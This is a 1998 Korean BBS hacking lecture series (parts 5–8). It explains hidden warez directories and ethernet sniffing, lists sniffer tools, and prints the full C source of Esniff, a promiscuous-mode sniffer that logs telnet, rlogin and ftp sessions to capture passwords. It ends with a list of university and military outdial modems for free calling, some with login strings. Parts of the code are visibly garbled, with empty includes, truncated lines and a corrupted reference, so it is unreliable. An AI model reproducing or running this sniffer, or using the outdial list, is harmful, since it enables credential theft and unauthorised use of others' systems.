[강좌] UNIX 에서 해킹하기? 5 1998-09-20 22:52 191 line
이상한 문자가 들어있는 디렉토리에 어떻게 들어갈 수 있나?
이러한 디렉토리는 정보를 숨기고자 하는 사람들에 의해서 이용된다. 대부분은
warez(불법 상업용 프로그램)의 사람들이다.
이러한 이상한 문자가 무엇인지 알아내는 몇가지 방법이 있다. 한 가지 방법으로 ls
명령의 인수을 이용하여 ls가 정보를 보여주도록 하는 방법이다.
> ls의 man 페이지에 다음과 같이 설명되어 있다.
-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.
-q Forces printing of non-graphic characters in filenames as the
character ``?''.
-b Forces printing of non-graphic characters in the \ddd
notation, in octal.
아마도 가장 유용한 도구는 "ls -al filename"을 수행하여 ftp 사이트에 있는
디렉토리 이름을 자신의 기계에 저장하는 것이다. 그리고나서 "cat -t -v -e
filename"을 수행하여 어떤 이상한 문자들이 들어 있는지 볼 수 있다.
> cat의 man 페이지에 다음과 같이 설명되어 있다.
-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (x), where X is the key pressed with
the key (for example, m is displayed as ^M). The
character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as -x, where
x is the character specified by the seven low order bits.
-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.
-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.
만일 디렉토리 이름에 나 이 들어 있다면 따옴표 안에 디렉토리 이름
전체를 넣으면 된다. 예를 들어
cd ".."
IBM-PC에서는 이러한 문자를 치기 위해서 키를 누르고 숫자판에 있는 숫자를
눌러서 ASCII 번호에 맞게 넣어주면 된다. 를 떼면 화면에 특수 문자가
표시된다. ASCII표를 이용하면 편리하다.
때때로 사람들은 표준 stty 컨트롤 문자를 가지고 디렉토리 이름을 만든다.
^Z(일시정지), ^C(intr)과 같은. 이러한 문자를 포함하는 디렉토리에 들어가기
위해서는 사용자 stty의 컨트롤 문자를 다른 것으로 설정해야 한다.
> stty의 man 페이지에 다음과 같이 설명되어 있다.
Control assignments
control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.
start and stop are available as possible control char-
acters for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding con-
trol character (for example, ^D is a d; ^? is
interpreted as DELETE and ^- is interpreted as unde-
fined).
stty -a 명령을 이용해서 stty의 현재 설정이 어떻게 되어 있는지 알수 있다.
그리고 어떤 것이 문제를 일으키고 있는지 알 수 있다.
이더넷 엿보기(ethernet sniffing)란 무엇인가?
이더넷 훔쳐보기는 (소프트웨어를 이용하여) 흥미를 끄는 패킷을 raw 이더넷 장치를
통해서 하게 된다. ㅌ정 조건에 맞는 패킷을 소프트웨어에서 발견하면, 파일에
저장한다. 유용한 패킷에 대한 일상적인 기준으로는 "login"이나 "password"와 같은
단어를 포함하는 것이다.
많은 이더넷 훔쳐보기 프로그램이 있다. 예를 들면 다음과 같다.
OS Sniffer
~~ ~~~~~~~
4.3/4.4 BSD tcpdump /* Available via anonymous ftp */
FreeBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix tcpdump /* Available via anonymous ftp */
DEC Ultrix tcpdump /* Available via anonymous ftp */
HP/UX nettl (monitor)
& netfmt (display)
nfswatch /* Available via anonymous ftp */
Linux tcpdump /* Available via anonymous ftp at */
/* sunsite.unc.edu */
/* /pub/Linux/system/Network/management/ */
SGI Irix nfswatch /* Available via anonymous ftp */
Etherman
tcpdump /* Available via anonymous ftp */
Solaris snoop
tcpdump
SunOS etherfind
nfswatch /* Available via anonymous ftp */
tcpdump /* Available via anonymous ftp */
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek
계속하시겠습니까? (Y/n) >> y
이동훈 (해커 )
[강좌] UNIX 에서 해킹하기? 6 1998-09-20 22:54 430 line
여기에 예제 코드가 있다.
/* Esniff.c */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
#define TCPS (tcph->th_sport)
#define TCPD (tcph->th_dport)
#define IPeq(s,t) ((s).s_addr == (t).s_addr)
#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
#define MAXBUFLEN (128)
time_t LastTIME = 0;
struct CREC {
struct CREC *Next,
*Last;
time_t Time; /* start time */
struct in_addr SRCip,
DSTip;
u_int SRCport, /* src/dst ports */
DSTport;
u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
u_int Length; /* current data length */
u_int PKcnt; /* # pkts */
u_long LASTseq;
};
struct CREC *CLroot = NULL;
char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
return( (he)?(he->h_name):(inet_ntoa(ip)) );
}
char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
SFL(0,TH_FIN, 'F');
SFL(1,TH_SYN, 'S');
SFL(2,TH_RST, 'R');
SFL(3,TH_PUSH,'P');
SFL(4,TH_ACK, 'A');
SFL(5,TH_URG, 'U');
iobuf[6]=0;
return(iobuf);
}
char *SERVp(port)
register u_int port;
{ static char buf[10];
register char *p;
switch(port) {
case IPPORT_LOGINSERVER: p="rlogin"; break;
case IPPORT_TELNET: p="telnet"; break;
case IPPORT_SMTP: p="smtp"; break;
case IPPORT_FTP: p="ftp"; break;
default: sprintf(buf,"%u",port); p=buf; break;
}
return(p);
}
char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
p[strlen(p)-6]=0; /* strip " YYYY\n" */
return(p);
}
char *NOWtm()
{ time_t tm;
time(&tm);
return( Ptm(&tm) );
}
#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))
/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
register struct CREC *CLtmp = \
(struct CREC *)malloc(sizeof(struct CREC)); \
time( &(CLtmp->Time) ); \
CLtmp->SRCip.s_addr = SIP.s_addr; \
CLtmp->DSTip.s_addr = DIP.s_addr; \
CLtmp->SRCport = SPORT; \
CLtmp->DSTport = DPORT; \
CLtmp->Length = MIN(LEN,MAXBUFLEN); \
bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
CLtmp->PKcnt = 1; \
CLtmp->Next = CLroot; \
CLtmp->Last = NULL; \
CLroot = CLtmp; \
}
register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;
while(CLr != NULL) {
if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
break;
CLr = CLr->Next;
}
return(CLr);
}
#define ADDDATA_NODE(CL,DATA,LEN) { \
bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
CL->Length += LEN; \
}
#define PR_DATA(dp,ln) { \
register u_char lastc=0; \
while(ln-- >0) { \
if(*dp < 32) { \
switch(*dp) { \
case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
break; \
case '\r': \
case '\n': fprintf(LOG,"\n : "); \
break; \
default : fprintf(LOG,"^%c", (*dp + 64)); \
break; \
} \
} else { \
if(isprint(*dp)) fputc(*dp,LOG); \
else fprintf(LOG,"(%d)",*dp); \
} \
lastc = *dp++; \
} \
fflush(LOG); \
}
void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
fprintf(LOG," DATA: ");
{ register u_int i = CLe->Length;
register u_char *p = CLe->Data;
PR_DATA(p,i);
PR_DATA(d,dl);
}
fprintf(LOG,"\n-- \n");
fflush(LOG);
if(CLe->Next != NULL)
CLe->Next->Last = CLe->Last;
if(CLe->Last != NULL)
CLe->Last->Next = CLe->Next;
else
CLroot = CLe->Next;
free(CLe);
}
/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
time_t tm; \
time(&tm); \
if(LastTIME
register struct CREC *CLe,*CLt = CLroot; \
LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
while(CLe=CLt) { \
CLt=CLe->Next; \
if(CLe->Time
END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
} \
} \
}
계속하시겠습니까? (Y/n) >> y
이동훈 (해커 )
[강좌] UNIX 에서 해킹하기? 7 1998-09-20 22:56 423 line
void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
{
register struct ip *ip;
register struct tcphdr *tcph;
{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
if(EtherType < 0x600) {
EtherType = *(u_short *)(cp + SZETH + 6);
cp+=8; pktlen-=8;
}
if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
return;
}
/* ugh, gotta do an alignment :-( */
bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
ip = (struct ip *)Packet;
if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
return;
tcph = (struct tcphdr *)(Packet + IPHLEN);
if(!( (TCPD == IPPORT_TELNET) ||
(TCPD == IPPORT_LOGINSERVER) ||
(TCPD == IPPORT_FTP)
)) return;
{ register struct CREC *CLm;
register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
register u_char *p = (u_char *)Packet;
p += ((IPHLEN * 4) + (TCPOFF * 4));
if(debug) {
fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
}
if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
CLm->PKcnt++;
if(length>0)
if( (CLm->Length + length) < MAXBUFLEN ) {
ADDDATA_NODE( CLm, p,length);
} else {
END_NODE( CLm, p,length, "DATA LIMIT");
}
if(TCPFL(TH_FIN|TH_RST)) {
END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
}
} else {
if(TCPFL(TH_SYN)) {
ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
}
}
IDLE_NODE();
}
}
/* signal handler
*/
void death()
{ register struct CREC *CLe;
while(CLe=CLroot)
END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
fflush(LOG);
if(LOG != stdout)
fclose(LOG);
exit(1);
}
/* opens network interface, performs ioctls and reads from it,
* passing data to filter function
*/
void do_it()
{
int cc;
char *buf;
u_short sp_ts_len;
if(!(buf=malloc(CHUNKSIZE)))
Pexit(1,"Eth: malloc");
/* this /dev/nit initialization code pinched from etherfind */
{
struct strioctl si;
struct ifreq ifr;
struct timeval timeout;
u_int chunksize = CHUNKSIZE;
u_long if_flags = NI_PROMISC;
if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
Pexit(1,"Eth: nit open");
if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
Pexit(1,"Eth: ioctl (I_SRDOPT)");
si.ic_timout = INFTIM;
if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
timeout.tv_sec = 1;
timeout.tv_usec = 0;
si.ic_cmd = NIOCSTIME;
si.ic_len = sizeof(timeout);
si.ic_dp = (char *)&timeout;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
si.ic_cmd = NIOCSCHUNK;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)𝔦
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(if_flags);
si.ic_dp = (char *)&if_flags;
if(ioctl(if_fd, I_STR, (char *)&si) < 0)
Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
Pexit(1,"Eth: ioctl (I_FLUSH)");
}
while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
register char *bp = buf,
*bufstop = (buf + cc);
while (bp < bufstop) {
register char *cp = bp;
register struct nit_bufhdr *hdrp;
hdrp = (struct nit_bufhdr *)cp;
cp += sizeof(struct nit_bufhdr);
bp += hdrp->nhb_totlen;
filter(cp, (u_long)hdrp->nhb_msglen);
}
}
Pexit((-1),"Eth: read");
}
/* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */
void getauth()
{ char *buf,*getpass(),*crypt();
char pwd[21],prmpt[81];
strcpy(pwd,AUTHPASSWD);
sprintf(prmpt,"(%s)UP? ",ProgName);
buf=getpass(prmpt);
if(strcmp(pwd,crypt(buf,pwd)))
exit(1);
}
*/
void main(argc, argv)
int argc;
char **argv;
{
char cbuf[BUFSIZ];
struct ifconf ifc;
int s,
ac=1,
backg=0;
ProgName=argv[0];
/* getauth(); */
LOG=NULL;
device=NULL;
while((ac
register char ch = argv[ac++][1];
switch(toupper(ch)) {
case 'I': device=argv[ac++];
break;
case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
Zexit(1,"Output file cant be opened\n");
break;
case 'B': backg=1;
break;
case 'D': debug=1;
break;
default : fprintf(ERR,
"Usage: %s [-b] [-d] [-i interface] [-f file]\n",
ProgName);
exit(1);
}
}
if(!device) {
if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
Pexit(1,"Eth: socket");
ifc.ifc_len = sizeof(cbuf);
ifc.ifc_buf = cbuf;
if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
Pexit(1,"Eth: ioctl");
close(s);
device = ifc.ifc_req->ifr_name;
}
fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
if(!LOG)
LOG=stdout;
signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);
if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}
if(backg) {
register int s;
if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0)
Pexit(1,"fork");
if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
계속하시겠습니까? (Y/n) >> y
이동훈 (해커 )
[강좌] UNIX 에서 해킹하기? 8 1998-09-20 22:57 322 line
인터넷 아웃다이얼(Internet Outdial)이란?
인터넷 아웃다이얼이란 인터넷에 연결된 모뎀으로 그곳에 연결하여 다른 곳으로
전화를 할 수 있은 것이다. 정상적인 아웃다이얼은 지역 번호만을 호출한다.
GOD(Global OutDial)은 장거리 전화을 할 수 있다. 아웃다이얼은 장거리 BBS를
호출할 수 있는 값싼 방법이다.
인터넷 아웃다이얼은 어디에 있나?
이 FAQ는 CoTNo #5에서 뽑아온 것이다.
인터넷 아웃다이얼 목록 v3.0
소개
요새 인터넷에 돌아 다니는 인터넷 아웃다이얼의 목록이 몇가지 있다. 다음에
나오는 것은 v 2.0과 다른 목록들을 합친 것이다. 다른 사람들의 것을 그냥 실은
다른 목록과는 달리 우리는 앉아서 하나씩 모두 테스트를 했다. 몇몇은 "접속거부"
또는 접속을 시도할 때 시간초과에 걸리기도 했다. 이런 것들은 죽은 것으로 했다.
Working Outdials
----------------
as of 12/29/94
NPA IP Address Instructions
--- ---------- ------------
215 isn.upenn.edu modem
217 dialout.cecer.army.mil atdt x,xxxXXXXX
218 modem.d.umn.edu atdt9,xxxXXXX
303 yuma.acns.colostate.edu 3020
412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt
412 gate.cis.pitt.edu tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX
413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx
502 outdial.louisville.edu
502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"
602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy
614 ns2400.acs.ohio-state.edu
614 ns9600.acs.ohio-state.edu
713 128.249.27.153 atdt x,xxxXXXX
714 modem.nts.uci.edu atdt[area]0[phone]
804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx
804 ublan2.acc.virginia.edu connect telnet
connect hayes
Need Password
-------------
206 rexair.cac.washington.edu This is an unbroken password
303 yuma.ACNS.ColoState.EDU login: modem
404 128.140.1.239 .modem8|CR
415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514 cartier.CC.UMontreal.CA externe,9+number
703 wal-3000.cns.vt.edu dial2400 -aa
Dead/No Connect
---------------
201 idsnet
202 modem.aidt.edu
204 dial.cc.umanitoba.ca
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
207 modem-o.caps.maine.edu
212 B719-7e.NYU.EDU dial3/dial12/dial24
212 B719-7f.NYU.EDU dial3/dial12/dial24
212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
212 FREE-138-229.NYU.EDU dial3/dial12/dial24
212 UP19-4b.NYU.EDU dial3/dial12/dial24
215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
218 aa28.d.umn.edu "cli" "rlogin modem"
at "login:" type "modem"
218 modem.d.umn.edu Hayes 9,XXX-XXXX
301 dial9600.umd.edu
305 alcat.library.nova.edu
305 office.cis.ufl.edu
307 modem.uwyo.edu Hayes 0,XXX-XXXX
313 35.1.1.6 dial2400-aa or dial1200-aa
or dialout
402 dialin.creighton.edu
402 modem.criegthon.edu
404 broadband.cc.emory.edu ".modem8" or ".dialout"
408 dialout.scu.edu
408 dialout1200.scu.edu
408 dialout2400.scu.edu
408 dialout9600.scu.edu
413 dialout.smith.edu
414 modems.uwp.edu
416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
416 pacx.utcs.utoronto.ca modem
503 dialout.uvm.edu
513 dialout24.afit.af.mil
513 r596adi1.uc.edu
514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
517 engdial.cl.msu.edu
602 dial9600.telcom.arizona.edu
603 dialout1200.unh.edu
604 dial24-nc00.net.ubc.ca
604 dial24-nc01.net.ubc.ca
604 dial96-np65.net.ubc.ca
604 gmodem.capcollege.bc.ca
604 hmodem.capcollege.bc.ca
609 128.119.131.11X (X= 1 - 4) Hayes
609 129.119.131.11x (x = 1 to 4)
609 wright-modem-1.rutgers.edu
609 wright-modem-2.rutgers.edu
612 modem_out12e7.atk.com
612 modem_out24n8.atk.com
614 ns2400.ircc.ohio-state.edu "dial"
615 dca.utk.edu dial2400 D 99k #
615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
616 modem.calvin.edu
617 128.52.30.3 2400baud
617 dialout.lcs.mit.edu
617 dialout1.princeton.edu
617 isdn3.Princeton.EDU
617 jadwingymkip0.Princeton.EDU
617 lord-stanley.Princeton.EDU
617 mpanus.Princeton.EDU
617 mrmodem.wellesley.edu
617 old-dialout.Princeton.EDU
617 stagger.Princeton.EDU
617 sunshine-02.lcs.mit.edu
617 waddle.Princeton.EDU
619 128.54.30.1 atdt [area][phone]
619 dialin.ucsd.edu "dialout"
703 modem_pool.runet.edu
703 wal-3000.cns.vt.edu
713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx"
or "Hayes"
713 modem12.bcm.tmc.edu
713 modem24.bcm.tmc.edu
713 modem24.bcm.tmc.edu
714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
714 modem24.nts.uci.edu
714 pub-gopher.cwis.uci.edu
801 dswitch.byu.edu "C Modem"
808 irmodem.ifa.hawaii.edu
902 star.ccs.tuns.ca "dialout"
916 129.137.33.72
916 cc-dnet.ucdavis.edu connect hayes/dialout
916 engr-dnet1.engr.ucdavis.edu UCDNET C KEYCLUB
??? 128.119.131.11X (1 - 4)
??? 128.200.142.5
??? 128.54.30.1 nue, X to discontinue, ? for Help
??? 128.6.1.41
??? 128.6.1.42
??? 129.137.33.72
??? 129.180.1.57
??? 140.112.3.2 ntu
??? annexdial.rz.uni-duesseldorf.de
??? dial96.ncl.ac.uk
??? dialout.plk.af.mil
??? ee21.ee.ncu.edu.tw cs8005
??? im.mgt.ncu.edu.tw guest
??? modem.cis.uflu.edu
??? modem.ireq.hydro.qc.ca
??? modems.csuohio.edu
??? sparc20.ncu.edu.tw u349633
??? sun2cc.nccu.edu.tw ?
??? ts-modem.une.oz.au
??? twncu865.ncu.edu.tw guest
??? vtnet1.cns.ut.edu "CALL" or "call"
결론
죽은 아웃다이얼을 발견하거나, 명령이 바뀌었거나, 패스워드를 요구하거나 하면,
우리에게 연락하여 목록이 되도록 정확하게 할 수 있도록 해 주기 바란다. 목록에
추가하고 싶은 것이 있다면 우리에게 메일을 보내면 다음 버전의 모록이 나올 때,
자신의 이름을 옆에 넣어서 나오도록 하겠다. 즐겁게 이용하기를 ....